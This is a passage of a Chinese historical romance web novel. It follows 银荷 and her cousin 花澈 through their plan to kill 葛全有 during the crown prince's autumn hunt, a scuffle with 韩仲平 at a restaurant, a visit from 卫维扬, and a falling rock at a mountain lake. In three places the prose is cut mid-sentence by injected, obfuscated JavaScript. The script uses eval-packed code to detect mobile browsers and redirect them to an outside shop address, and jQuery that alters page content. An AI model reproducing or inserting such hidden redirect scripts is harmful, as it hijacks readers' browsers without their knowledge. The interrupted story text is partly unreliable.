“恐怕还有二十来日。我实在盼他回来,好管管这个。”他向公主努努嘴,“成天缠着我要出宫玩,我哪有那么多功夫陪她。表哥有事?” “是,我有一事想求太子殿下帮忙。” “什么事?”四皇子问,“若是着急的话我看看能不能先想些办法。” “谢殿下关怀。此事不急,我想去太子殿下的秋猎。” “这还用说。”四皇子笑道,“他本来就一定会喊你去的。” “我还想再请一人。” “这也不算事情,表兄的朋友自然没问题。” “谈不上朋友。” 四皇子点点头,不再多问,又说:“表哥今日有空闲?等会儿嘉文兄过来,正好一起坐坐。他上回还说,原本元宵那日想和表哥好好喝一顿,结果没成,自那以后更不易见到表哥人了。” “他倒会恶人先告状。”花澈笑道,“不过今天——”他凑到四皇子耳边说了句话,四皇子立即说:“不打扰表哥了,改日见罢。” 说着,见长宁还不动,唤了她:“阿佑,走,你该回去了。” 他们走开后,银荷很不过意说:“你去和他们一起吧,我不要紧,自己回去也可以。” “不用管,他们又没和我约过,妹妹可是我答应好了的。” 两人出来,骑上马,花澈突然又说:“妹妹刚才也听见了,等到太子秋猎时,我会叫上葛全有去,你就在那儿杀了他。” 银荷立即忘了不自在:“真的?可是,何必……何必这么大费周折?” 花澈摆手:“并不费什么,妹妹的事情,总要万无一失才好。我知道妹妹更想一刀杀死他,不过我不愿妹妹脏了手。要用弓箭只能将他骗到山里,又不能让他带随从,和太子去打猎这个借口正合适。到时候我想个法子,安排妹妹出门几天。” “可是,他这么死了的话,别人若要问……” “若问,就是打猎误伤了。无人敢多问。” 银荷依然有顾虑,怕给花澈带来麻烦:“万一我一箭没射死葛全有——他要是跑起来,我可能射不准。” “这最不用担心。”花澈笑道,“谁说只能一箭,箭咱们有的是。不行就两箭、三箭……不信他跑得掉。到时我什么都不干,最多帮妹妹背着箭筒,一定让你亲手杀死他。” 银荷十分感激,不知该说什么。 花澈好像明了她的意思:“最重要的事情还是要妹妹做的,我不过帮点小忙,不必谢我。——今天妹妹想吃什么?明日起咱们两个就去山里打猎,正好练习射箭。射中了就能吃上肉,射不中只好饿肚子。” 听见打猎,银荷却在马背上愣了一愣,半晌没答话。花澈侧头看她:“妹妹这个自信总该有,再说我还有几样本事呢——什么都不需要,只要有弓箭,保证不会让妹妹饿肚子。” “不必练习了。”银荷摇头,“等到了时候直接去就行。” “怎么了,妹妹不愿……我们可以不射兔子和鹿。” 银荷仍摇头:“我不喜欢打猎。” “那好,我们去别处玩。” “明日起三表哥还是别带我出门了。” “那怎么行,这才几日,礼佛哪能半途而废。” “我可以当真去庙里。” “那多没意思。” “我挺喜欢……我坐得住,三表哥去忙吧,别耽搁了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173077|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。” “我哪有什么正经事?”花澈看看银荷,“我知道了,妹妹不待见我闲着,好,明日起,妹妹还是跟着我,咱们去做些正事。” 然而,第二日,花澈却把那匹脾气古怪的红马牵了来。银荷摸摸它额前的白色斑纹,给它起了名字叫奔云,心中异常欢喜。为了骑这马儿,她也不顾别的了,花澈带着她踏遍了京城及其近郊,到处游玩观景,甚至听说哪里有棵古怪的树,结了稀罕的果,也要跑去瞧上几眼。 两人整日“忙碌”,花家却无一人知晓。这段时日,家里确实有件大事:映雪顺顺当当生下一个白胖小子。 阖家上下的喜悦不必多说,瑷宁趁着老太太高兴,却要来解开自己的一桩顾虑。 她想:表姑娘的事其实也简单,定然是老太太为她做主,物色择配。去年老太太做寿时还特别拉表姑娘见人,之后甚至真有几家上门打听,但老太太都不满意,找借口推辞了,从此再没说过这些事。莫非老太太真想要表姑娘做孙媳妇? 无人时,瑷宁引老太太说起宝屏的事,不经意道:“当然,那人与宝屏表妹年岁相差太多些,不般配。不过,我怎么听人说,好像还是三弟从中回斡的。” 老太太果然皱起眉:“澈儿?他如何知晓这事?” “不是祖母告诉他?那可能是三弟自己打探来的吧。他们打小一处打闹大的,自然比别人更亲厚些。三弟关心屏表妹,也是理所应当。” 老太太没接话,瑷宁也没往下说。她想老太太绝不肯勉强花澈。如此一来,连对花涛也不必担心——总不能两个孙子都娶了曲家的姑娘。 . 这时刚入了秋,农家已忙完了一场,这天,花澈同银荷来了京郊一处田庄。 此地与老太太住过的那间庄子相比,要简陋得多,只有几间瓦房,屋里放几只木桌椅,墙壁半黑不白。 花澈似乎已来过多次了,很自在地对迎出来的庄头说:“坐院子里。” 庄上的人在葡萄棚子下摆了两张竹椅,又端来一盘果子:“刚摘下来的,没什么味道,三爷尝个新鲜吧。” 花澈示意银荷吃,银荷不好开口,见花澈坐下,将椅子拖远一点儿,也坐了。 庄头另拉一个板凳,坐在旁边,与花澈说起田地的收成。因今年雨水格外少,虽有水渠灌溉,打下的稻谷到底比往年少了许多。 银荷见花澈对农事似乎很熟悉,倒有些惊讶,听着听着,甚至听入了神。 说了一会儿话,花澈转头看银荷:“怎么不吃?” 银荷忙说:“我看这果子这样摆着,真好看,舍不得吃。” 那是一只大陶土盘子,上面铺层绿叶,放了几只铃铛样的黄梨,和一大嘟噜还挂着水珠的晶亮紫葡萄。 花澈瞧着一笑:“果然好看。” 庄头听见银荷说话,吃了一惊,赶紧站起身:“还有还有,我再拿些来。” 花澈说:“这些够了,不用再拿。”又说,“既不容易,今年每户的田租减一些,你看他们各家情形,交三到五成就是了。” 庄头大喜,不敢多谢,搭讪着退开。 花澈将椅子挪到银荷近前,捻颗葡萄,半剥了皮送至银荷嘴边。“妹妹吃呀。” “我不爱吃葡萄。”银荷脸一红,抓一只梨,小口啃起来。 花澈见她不吃,就丢到自己嘴里。一时,一个吃葡萄,一个吃梨。 银荷没想到这梨特别清脆爽口,吃得很开心,冷不丁听见花澈问:“梨子甜不甜?” 银荷不知他用意,顺嘴就说:“甜得很,你尝尝。” 花澈探身过来,作势要把银荷手里的梨咬一口。 银荷急忙闪开,气道:“还有那么多,为何要跟我抢?” “不是要抢,不过试妹妹一试。”花澈向椅上一靠,笑嘻嘻说,“试出来了——妹妹不愿和我分梨。” 银荷气坏了,心想这人就是这样,似乎每回刚对他增加一点儿好感,他马上就有办法将增加的那几分打消掉。 吃完了,四周静悄悄的,只听见树上草里有虫子叫一二声。 花澈望望银荷,突然想起什么似的,笑着说:“你还是个小胖丫头的时候,——要那时你来,我会逮知了、蛐蛐给你玩。” 银荷难过地想:他哪里知道。 43. 来人 俗话说:农家无闲月。银荷同花澈去了两趟乡间,几十里路,腾云驾雾般,一晃眼就到了。可是路上所见,农人都在田里辛苦,银荷便又感到不安,不愿总是东游西逛。 自此,两人每日都去云聚楼,花澈自约了朋友见面,银荷则找俞雁说话谈天。 这日刚跨进酒楼大门,恰遇一个男子向外走。花澈拱手招呼了句:“仲平兄。” 那人生得颇为魁梧,黑膛膛的面庞,见了花澈面色更暗三分,怒目瞪他一眼,鄙夷地哼了声,从旁边走过。 难得见花澈遭冷脸,银荷不免对那人多瞧了瞧,不过等错过身,也就丢开不管了。花澈更是毫不介意,扭头对银荷说:“你先去找俞姑娘。”说着他自己便往楼上走。那人本已走出好几步,突然又收住脚。 银荷还是进了花澈第一次带她来时那间屋子,俞雁正在屋内。两人随意扯了几句,银荷见俞雁手头还有事,便说:“俞姐姐先忙,我找她们两个去。” 她兴冲冲正要去寻青梅碧桃,冷不丁有人从身后在她肩上轻轻拍了一下。银荷在这儿来去自如惯了,也知道客人不会走至此处,她以为是碧桃同她闹着玩,谁料一回头,眼前是一扇穿着黑衣的宽阔胸膛,再往上瞧,是张面色不善的脸。 银荷吓了一跳,不遑多想,反手就向他当胸推去。不待她转过全身,那人已一把抄住她手腕。 说三下五除二那是客气得没边了,对方只一个动作,轻巧一提,就将银荷掼倒在地。 银荷“嗳哟”叫唤了一声,紧紧蹙起眉。这一握一掼似有千斤之力,她的腕骨都要碎了,屁股疼得恨不得没长在身上。但比疼痛更难受的是屈辱:没想到自己还是这么没用,在个男人面前比只小鸡强不到哪儿去。她大大灰了心,又加上疼痛,眼框里不由盈满了泪。 那人原只想问几句话,不意银荷动手倒快,这便没有不还手的道理。不过,他见银荷肩膀单薄,手腕细弱,是个未长成的少年,手下力气只使了不满一分,想着给个小教训就罢。听到银荷声音,才恍然这原是位乔装的女子,他顿时面红耳赤。 俞雁闻声已从屋里冲出来,赶忙去扶起银荷,又狠命瞪那人一眼,厉声呵斥道:“韩仲平,你这是做什么!” 叫做韩仲平的汉子此时全没了脾气,结结巴巴说:“我,我不知她是个姑娘。” “是不是姑娘有什么干系,谁许你在这里打人了?”俞雁怒道。 银荷强忍屁股疼痛,只揉着手腕。俞雁见她疼得抽气,忙拉了她手看。衣袖掀开,腕上红了一圈,不说触目惊心也足够呈堂证供了。俞雁盖好她胳膊,转头对着韩仲平,恨恨说:“真有本事啊,好好的哪里招惹你了,下这种毒手?” 银荷早已看清韩仲平就是刚刚在门口碰到的黑脸汉子,一听俞雁的话,明白了大半,心说:“看来这个韩仲平和俞姐姐要好,他恐怕也听过传言,没头没脑就信了,所以见到花澈才那幅样子,又来寻我的晦气。就算他讨厌花澈,总该相信俞姐姐才对。一个大男人小肚鸡肠,倒要我受这无妄之灾。不过总归是小事一件,别因此两人更生嫌隙,让俞姐姐难做。” 是以,她挤出个笑:“我先动手的,不怪这位韩大……韩大侠。我没事,俞姐姐别怨他。”本意要说得慷慨气概,但心中的委屈实在抑不住,到底叫不出韩大哥,忍不住讽他大侠。 谁知韩仲平丝毫不领情,比她还要不客气得多。“误伤了姑娘,是我不对,向姑娘赔个不是。但还要劝姑娘一句,别和不三不四之人一块混,姓花的小白脸,哪有一个好东西!”他硬梆梆地说。 银荷还没开口,俞雁已直直指着外面方向,面色森然发青,声音坚冷如铁:“千户大人请回罢,以后不用再来了。” 韩仲平似乎没料到她会发这么大的火,楞了一下,欲辩解又拉不下脸,盯着她看了一会儿,说声“好”,扭身就走。 他还没走几步,花澈不知从何处冒出来拦在他面前:“仲平兄看我哪里不三不四了?” 韩仲平又是稍稍一愣,但随即冷哼道:“少装蒜,蛇鼠一窝。” “仲平兄爱护令妹之心,在下十分领会得。换作我是仲平兄,我亦不能忍。只是仲平兄对自己的妹夫不满,只管找他去——兄长的事情,我做弟弟的虽不敢苟同,又如何插得手?即便仲平兄认准我是卑劣之徒,愿意费心教导,在下也一定洗耳恭听,却又何必背后袭我表妹?” 韩仲平依然昂着头:“这回是我的错,我刚刚没认出来令表妹,容来日再另行赔罪。不过你那个兄长的事并没有算了,要不是看在家妹面上,饶不了他,若他敢再生别事,我还要去当面讨教。” 这下银荷才彻底明白了:原来这人正是映雪的哥哥,他是为映雪受委屈,对花家全家不满。如今映雪生了孩儿,他做了舅舅,还是不肯原谅花潜。 哪想到映雪姐姐娇柔温婉,却有这么一个威风凛凛的哥哥。银荷记起映雪经常提到兄妹间的趣事,说大哥心细,二哥表面鲁莽,却又粗中有细。她一下子就对韩仲平不生气了。 只是,这时花澈与韩仲平对面立着,都不说话,谁也不迈脚,她不禁心中紧张。 还是花澈先向旁边让开路。韩仲平刚刚走过去,花澈转身,轻轻拍他肩膀。韩仲平立即去抓花澈手,抓空之后前跨一步从另一侧向后猛转,一边用肩和手肘撞向花澈,另一只手朝他胳膊抓去。这一下也没抓住。 但花澈只是一味闪避,韩仲平便停下,惊异地看着他。 花澈拱手道:“得罪了。果然是仲平大哥,名不虚传,在下佩服。” 他又转头向银荷说:“妹妹瞧清楚没有,感到身后有危险时,别忙回头,先避开再说。等回头再看就来不及了,怪我之前没和妹妹说过。不过今天你碰上的是韩大哥,无论如何别想躲开,换了我也非得摔一跤不可。摔在韩大哥手底下不算冤。” 刚才那一番动作迅疾如电,银荷根本没怎样瞧清楚。但她心中欢喜,上前两步也是一抱拳:“多谢韩大哥指教。” 韩仲平这时显出几分局促,他诚恳道:“今日实在是我冒失了,日后姑娘有需要时,务请吩咐韩某,允我一个悔过的机会。” 他再向花澈说:“承让。我收回我说的话,请兄弟不要见怪。” 客气几句后,他小心翼翼看俞雁,从怀里掏出一个小瓶子递过去:“这个药很好用,请俞姑娘给这位姑娘涂在伤处。” 俞雁瞅都不瞅一眼:“千户大人将别人瞧得忒扁了,什么药我们拿不出来?”说着她拉了银荷回身就走。 银荷悄悄回头看,韩仲平还呆立着,她倒有些不过意,进屋后对俞雁说:“俞姐姐,其实是我不对,真的是我先要动手的,反倒成了韩大哥认错,你……” 俞雁道:“没事,我原本就不想理他。我给你拿药去。” 片刻后,是青梅碧桃二人送了药来。银荷不好意思提屁股疼,只在手腕处抹些药。两人见她伤得不重,遂放下心。碧桃一向爱说话,遇上这事哪里忍得住,评论道:“全因韩二爷的妹妹嫁给三公子的兄长,是三公子的嫂子,就是有这么层关系,俞姑娘才对他格外耐烦些。敢情他还懵着呢,该拜哪尊佛都瞧不出来。” 她快嘴快舌,将韩仲平来龙去脉讲了一通: “不小心瞧见俞姑娘一次,念念不忘来纠缠的,咱们打发的还少吗,每月都有一两个。不过韩二爷还真不是那号人,他就老老实实吃饭,当然每次都要先问问俞姑娘愿不愿见他,听说不见就算了,也不嚷嚷难听话,饭钱结得又大方,这种客人总不能往外撵吧。 “再者,他还替咱们收拾过几个挑事的。次数多了,俞姑娘实在不过意,才见了他一回,当时我在场,俞姑娘说,若是为了她,请韩二爷别再来了,白费功夫。 “韩二爷就说,让俞姑娘不必理会他。但是饭还是要来吃,在这里已经习惯了,再去别处吃没什么滋味。——这倒也可能是真话,不是我吹,比俞姑娘更美的人或许有,比咱们更好吃的馆子——没有!” 银荷好奇问道:“是不是这一次,俞姐姐瞧出韩公子人不坏,以后就肯同他做朋友了?” “也不是,其实俞姑娘一直说韩二爷人挺好,不过肯和他多说几句话,也就最近一个月。” “那是为何?” “因为……” 青梅把碧桃的话掐断:“你这丫头疯了。你知道个什么,就乱说?” 碧桃瞅青梅一笑,仍说:“我瞎猜一下还不行么?我猜俞姑娘是觉得开头不好。韩二爷本不认识俞姑娘,只是碰巧看见她一回,俞姑娘肯定想:哪有看一眼就喜欢的,跑不了都是见色起意的下流坯子。” “都是俞姐姐长得太美,才有这些烦恼。”银荷笑道,心中却想:各人与各人不同,一眼和一眼两样,总不好一棒子都打死。——若两人彼此都是对方心之所系,这样开头,倒也挺动人。 碧桃拍青梅:“咱们打个赌,你说俞姑娘什么时候肯再和韩二爷说话?” “过半个月。”青梅说。 “用不了,我说五日。你看俞姑娘什么时候对人冷过脸?就今天生了大气。她要是根本没把人家放在心上,何至于非要怄气?” 银荷没想过这层道理,看碧桃小小年纪倒懂得不少,不禁好笑。 青梅说:“那有什么,就是怄三个月气也不怕。你先算算,输我多少银子了?” “你们都赌了些什么?”银荷问。 两人却笑着不肯说,拿话岔开了。 银荷出了云聚楼,花澈从一辆马车里招呼她:“妹妹过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花澈灼灼的目光追着她。此刻他对银荷的男儿装扮当真有几分遗憾,——他想亲眼看一看姑娘是怎样一本正经板起面孔,而调皮的一双眼睛还是会不小心在唇边投下笑影来。但随即他又庆幸:好容易她肯和他说笑这些,要是忍不住又惹到她,谁知还得等到什么时候,他可没那么笨。 “妹妹现在不信没关系,将来总会承认的。” 信了你嘴里的话,才要惹人笑呢。银荷暗道。她向来看花澈有口无心,不知怎的,今日偏生要与他别扭。 “首先人家就没自吹自擂,不像有人成天只会说漂亮话,光嘴头上冠冕。” 花澈意外道:“嘴头上怎么了,我不过说几句,别人都直接动手了,妹妹竟还向着他?不过妹妹不用高看他,他也就那样了,将来肯定怕媳妇,还能有什么大出息,这点就绝比不了我——我天不怕地不怕,唯独只怕妹妹。” 银荷气极了,心想韩仲平骂“姓花的小白脸”不是好东西,倒也痛快。 她恨不得像俞雁一样手指门,喝一句:“下去!”不知能不能有俞姐姐那样的气势。 不过她和俞姐姐生气的原因又不一样,俞姐姐是因为……银荷突然脸发烧。她生气不是因为别的,实在是这个人嘴巴既坏,脸皮又厚。气到她他肯定还在暗自得意,想到这儿她越发气得一鼓一鼓。花澈再赔小心讲笑话都没用,直到下车银荷也不理他,只管自己朝前走。 “小心后面!”几个字像点了的炮仗。银荷听见,向斜前方跳开去,回头一瞧,哪儿有什么危险,花澈正举着手准备给她吃个榧子呢。 “妹妹真聪明,一学即会,知道先要躲开。不过我要是不提醒,你恐怕没发现有人跟在身后吧。” “要真有人想使坏我肯定能发现。”银荷争辩道。 “那么,我不是坏人了?”花澈笑眯眯地说。 银荷已不为前头的事生气了,可又没话答他,气呼呼走开去。 还没进屋,飞镜奔出来说:“有人来找姑娘,还在寺庙外候着。” 银荷意外地停住脚步。这座宅院就在延恩寺旁边,一抬头便瞧见寺中宝塔,但她没进过寺里面。花澈特意请了位姑娘——就是先前家里的丫环画眉——代替她去禅室装样子,并要飞镜守在外面,以防备有人进去识破。不过,这么久从无人来。今天这人是谁? 花澈很快走上前,不在意地问:“是什么人,打发不走么?” 飞镜歉意道:“那位公子说他姓卫。我告诉他里头法师正诵经,姑娘不好出来。他说不妨事,愿意等姑娘,也不肯在禅房休息,便在寺外站着。我看他一直没走,已等了快一个时辰。” 听罢,银荷目光投向花澈。他正向她转过来,无所谓地说:“不要紧,妹妹不想见他,我过去说一声。” 话音刚落,银荷说:“我想见——” 44. 山崖 “我想见——”银荷急忙补充,“我应该见见卫公子。说不定有要紧事情,他等了这么久……” “对。”花澈很和气地说,“不见未免失礼。请卫公子过来吧。”他向飞镜道。 银荷赶忙拦住:“别,还是我换身衣服过去。”她看看花澈,“天不早了,我问问卫公子,若无事,改日再邀他。” 花澈什么也不说,随意点两下头,走到旁边厢房去了,平日他总在那里等银荷。 银荷心里着急,匆匆洗脸更衣,跟着飞镜从寺院偏门进去,又绕到正门。门外有几株大树,卫维扬正立于最远的那棵树下。 飞镜见人还在,便问:“要不要请他进寺里说话?” “不必。”银荷摆摆手。 “那好,姑娘不用忙,三公子总会候着姑娘的。”飞镜说完便回身离开。 银荷快步向卫维扬走去,胸中的不安荡然无存。 本来担心他是为某件急迫的事情而来,这时却觉得,一个人拜访友人,一时没见到,便等上一等,无论对谁,都再自然再自在不过了。 “实在对不住,让卫大哥久等了。”至面前时,银荷抱歉道,声音里却只听得出喜悦。 卫维扬一下就心领神会,原本也一点儿都没怪她。“曲姑娘不嫌我冒昧打扰就好。” “你怎么知道我在这里?” “我听你四表哥说的。” “对了,你们每天都能见面。”银荷想起花涛现今正在翰林院修习。 卫维扬笑起来:“本该常常见面,不过前头几个月我没在京中,刚回来不久。” “去了哪儿?” “正好得闲,出去走了走。”卫维扬却没说所致何处,只是出神地看着她。 “恐怕沾了香灰?”银荷窘迫地摸摸脸,怕刚没洗净,让他瞧出痕迹。 “没有没有。”卫维扬回过神来,赶紧说,“我只是觉得奇怪,怎么每次见到姑娘,都好像——分明是同一个人,又完全变了一幅样子。” 当下银荷默默计算:与卫大哥不过见了三回,头一回我装个书童,第二回带着面具,第三回却是哭了一场。卫大哥一点儿都没见怪,也没笑话。真怪,明明才见过三次面,为何能像许久的朋友一般? 卫维扬见她面色很好,完全放了心,又看她低着头,便岔开话问:“你四表哥说你生了场病,这才修佛,如今是好多了吧?” “不是大病。”银荷急忙说,脸上只管发着烫,还有一层缘故是骗了卫维扬,格外内疚,“也算不得修佛,不过抄抄经文、静静心,全是听大夫嘱咐。卫大哥是不是看我不像虔诚之人?” 卫维扬笑道:“不,不,姑娘明显是有慧根的,不知道为什么,”他斟酌着说,“总感觉你像在寺中待过很久。” 银荷惊异得说不出话,他竟能看出这个。 卫维扬忙补上:“我本来不懂,乱说罢了。既于姑娘身体有益,只管坚持便是。” 银荷点点头。卫维扬认真地瞅了瞅她,温柔问道:“你还常想你那位姐姐?” “是,我没有一日不想到她。”银荷惆怅地说,随即,语气又稍稍轻快了些,“我要感谢卫大哥,自上次以后,我真的常常梦到姐姐。” “她和你说什么了吗?” “有时我们会说起从前的事情。她还说她很好,让我放心。”泪水盈满了她的眼眶,银荷用手指轻轻擦掉,用力忍住。她不介意在卫维扬面前流露真情,但不想等下被花澈发现她哭过。 卫维扬也不愿她悲戚,便说:“姑娘可能还不知,我能出这趟门,多亏了你四表哥,还有与他同进翰林院的几个人,有他们帮忙……” 他讲些翰林院的趣事,银荷听得津津有味,忘了时辰,中间无意一转头,花澈正在庙门处站着,看着这边。 银荷小小惊了一下,虽然并无心虚之事;定定神,再望去时,花澈不在那里了。 这时,太阳已向西偏了好大一截。卫维扬亦觉出时候不早,便道:“耽搁太久了,真对不住,我送姑娘回去。” 银荷忙辞谢,卫维扬便不坚持:“那好,姑娘多保重,下次再见。”他用目光将银荷一直送入寺院,这才转身离开。 一进寺门,飞镜正站着,银荷问:“我刚才瞧见三表哥,可是他等急了?” “没有没有,”飞镜说,“三公子听人说这里拜菩萨灵验,刚才来拜一拜。” “他也会拜菩萨?”银荷好笑道,“是不是帮着我在寺庙作假,怕被怪罪。” “那可不怕,咱们不算作假,姑娘就是心诚之人,菩萨要是连这个都看不出,才是糊涂呢。再说三公子为姑娘捐了许多功德,‘受人钱财,替人挡灾。’三界五行,都脱不出这个理去。” “他还捐了许多银子?” “不是许多,稍微表示一下,请住持们行个方便的意思。姑娘不用放在心上。”飞镜含混道。 银荷信以为真。看见花澈时,又是感激又是抱歉:“劳烦三表哥等了我半日。” “哪里有半日,连半个时辰都没有,便是等一个时辰也不要紧,妹妹怎么突然又见外了。——卫公子那里,没有什么为难事吧?” “没有。” “那就好。妹妹还疼吗?” “不怎么疼了。”银荷说,她差点都忘了。 “那就好。不过还是小心为上,妹妹好生在家休息几天。碰巧我最近也走不开。等过去这段,咱们该准备做正事了。” 花澈风度依然,说话时,微微笑着,眼睛专注地看着银荷,语调也是一贯的亲热、随便。可是,到底有某样东西变了,这几句话让银荷听来,是非常客气非常生疏。她没见过花澈这样态度,暗自疑惑:莫不是因为…… 她赶快按捺下乱想,亦客客气气答应了。 第二日,寺里果然遣了小沙弥来花府报:最近修葺禅房,请姑娘过几日再去。 这下银荷便有了很多空闲,闲得她心里长了草一般,只管乱糟糟的。不过这天,她收到了太子妃的帖子,请她去山上行宫游玩。 一同受邀的还有瑷宁、映雪,以及花瑛花瑶。众人准备不提。 银荷纳罕为何要请自己,但想到花澈说,要在太子秋猎时杀葛全有,不知是不是就在那座山,提前熟悉一下也好,因此格外上心,想着自己不大懂宫廷规矩,特意去请教映雪。 映雪正和花瑛谈论此事,映雪道:“他们都劝我别去,说我还得好好调养,不该去山里吹风。都躺了快两个月了,还不兴人动一动吗。何况满月时,阿荣还专门让人送了礼来,总不好不见上一面。” 花瑛说:“你喊她阿荣,还能不去?我们和太子妃又说不上话,互相瞪眼做什么。” “怎么会瞪眼?”映雪笑道,“太子妃脾气很好。她还请了别家的,我们原来相熟的,小时候常在一起玩,都是武官家里的女孩儿,有些倒跋扈得很,正好让她们瞧瞧我这几个文气的妹妹,羡慕一下。” “我说呢,太子妃又没见过我,原来是二嫂和她提了。”银荷道。 “这你可说错了,是你美名在外。”映雪摸摸她肩头,“山里凉,多带些衣裳。” 这时奶娘抱了孩子进来,映雪接过来:“看看是不是又长了些?” 银荷一瞅,可不是,丁点儿大的小婴孩,就已经有模有样了,正在郑重卖力地挥舞着小手,乌亮的眼睛四处转着。 银荷越瞧越爱,可她不会抱孩子,看映雪想要递给她,连连摆手。 花瑛已经学会了,小心翼翼抱过来:“让姑母看看。”她发出些轻柔的声音逗孩子,又说,“我瞧他长得越发像二哥了。” “这么点儿大哪里就看得出来?可惜不是个丫头,不然肯定漂亮,人家说女孩像姑,男孩像舅。”映雪看着孩子,好笑道,“你可别像舅舅啊,五大三粗的,姑娘都不喜欢。” 银荷差点儿忍不住要替韩仲平反驳,她心想:“不知韩大哥和俞姐姐和好没有,等将来,映雪姐姐见到那么能干美丽的嫂子,该多开心。” “由妹妹偷乐什么呢?”映雪问。 银荷伸出一只手指头戳戳孩子的拳头,“你可真是个走运的小宝,一生下来就有这么多人疼你。” . 去行宫那天,只有瑷宁、映雪各带了一个丫环,几人乘三辆马车,一大早自花府出发,向山上驶去。 整座大山向西北方绵延,行宫在东面山口处,从山脚下,还需再行近一个多时辰。 饶是这段路修得宽阔平坦,毕竟还是山路,转来转去让人极不舒服。下车后,除银荷外,其他人都头晕脚软,站立不稳。 太子妃体谅,命宫女领各人先入房间休息。银荷来到山中真正欢喜,根本坐不住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195360|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独个儿跑到林苑里散步,转了半日后,正巧遇到太子妃一干人。 不愧是将门虎女,太子妃身材高大丰美,气度非凡,银荷在心中连连赞叹。她身边的几位好友自然是映雪嘴里“跋扈”的高门千金,不过她们全都和气地看着银荷。 太子妃怕客人不自在,略介绍几句景致,就和旁边的人继续谈起话来。一时有人问:“太子殿下什么时候回京?” 这问题银荷很关心,留神听着。太子妃道:“按上回信里说的,最多半个月也该到了。” 便有人打趣说:“你们真是好。等我那相公出门,肯费劲写上几个字,我可就谢天谢地了。” 太子妃脸竟红了:“实在是有些久,好几个月了,不然也用不着。” “下次你也一起去。” “那怎么好,怪拖累的,再说孩子还小,丢下她我也不放心。” 这时一人又问:“卫公子与太子殿下一同去的?” “不,并没有。何来此说?”太子妃问。 银荷不由向那问话的人看去,更惊讶地发现她有几分面熟。 那姑娘稍稍显出几分羞涩:“前段时候卫公子也没在京中,我以为他是陪同太子殿下去办事。” 太子妃笑道:“不是。或许是办其他事情,等回头我给你打听一下。” “别别。”那姑娘脸更红,自嘲又惆怅地说,“我随便问问,又不干我事,我是想,不知卫公子会不会……给谁写信。” 无人取笑她,大家又去谈别的事了。只有银荷暗暗诧异她的“坦率”。 她忍不住又悄悄打量了对方几眼,想起来,是那回在卫维扬家里的诗画会上见过这位姑娘。 “她长得挺美,但绝对配不上卫大哥。”起初银荷这样想。可随即又生出感伤,“她不过是表露一片真心。这又不由人控制,也不是过错,有什么不敢承认。而且卫大哥那样的人,就算全天下的姑娘都喜欢他,他知道了,也绝对不会自鸣得意,单凭这一点,那些痴心就没有错付。卫大哥真是太好了,无论谁心仪他都是多么自然的事。可是……” 银荷突然感到双颊发烧得厉害,不顾旁人疑惑的目光,匆匆向太子妃告辞而去。 当晚,太子妃置了简便的宴席招待大家。第二日早晨,众人仍是依各自喜好随意活动。 不少人说到由山上泉水流下而积成的一面小湖。 “别的倒没什么,奇就奇在它时大时小,大时叫做日潭,小些就叫月潭,最小时叫星潭。” 没见过的人便好奇想去瞅瞅。尽管有人反对说路不好走,一群姑娘们还是嘻嘻哈哈地去了。 顺着曲折的小路,她们来到一块狭长的平地。从这里向上看去,是一片陡峭的斜坡,如竖起的箭镞。崖顶山石嶙峋,杂草丛生。她们刚刚就是从那上面下来的,当然在上面时谁也不敢走到边缘去。向下看——如果能向下看的话——是一段仅仅略微平缓的崖岩,崖底便是水潭所在。 这条带状的空地与下方的悬崖之间有参差的突岩遮挡,不然就无人敢涉足了,现在仅仅是有些怵目惊心而已。有两块岩石大小合适,中间空出了一人多宽的缺口。就只有这一处,站在那里,扒着石头,微微探身出去,才可以看见水潭。 姑娘们又是怕,又是好玩,纷纷抚着胸,轮流走过去看。“哎呀,没赶上好时候,现在是缩成星潭了。”之前见过的人瞧了笑着说。 瑷宁不过瞅了一眼,就退回来:“这个地方我可不喜欢。什么日月星,我看就是个澡盆子。” 刚好旁边一人问:“怎么能下到湖边上?” 另一人说:“没有好走的路,只能从这里跳下去。” 有人接口:“跳下去做什么,急着洗澡吗,这水一定很凉。” 大家都笑起来。花瑶扭头对银荷说:“由姐姐,咱们一起过去吧。” 两人拉着手,各扒住一边的石头。 果然是个秀气的潭子,水色青碧,像一枚圆镜嵌于山间。水面上有缕缕晨雾飘浮,从高处看去,可不正是一只浴桶,只不过是仙女用的。银荷不禁想要笑。 花瑶惊叫道:“好吓人!谁会敢跳下去。” 小心后面! 不知谁在银荷脑袋里面喊,她脊背一麻,拼命把花瑶向旁边扯倒。 一样东西从上方斜坠而下,落入水中,扑通一声。 45. 落石 银荷的动作比心思快。她倒在地上,同时,听见那扑通一声,又听见几声惊呼,再听见小石砾沿山坡簌簌滑下的声音,不自觉地向上方看去,这才明白过来。 没有什么人在她耳边叫喊,刚刚,是一块石头掉了下去。 所有人都呆愣在原地。是花瑶最先动,她还压在银荷身上,挣扎着想要站起来,近旁的人见状忙去扶起她们两个。没人敢再待在这里,大家沉默着从原路退回。 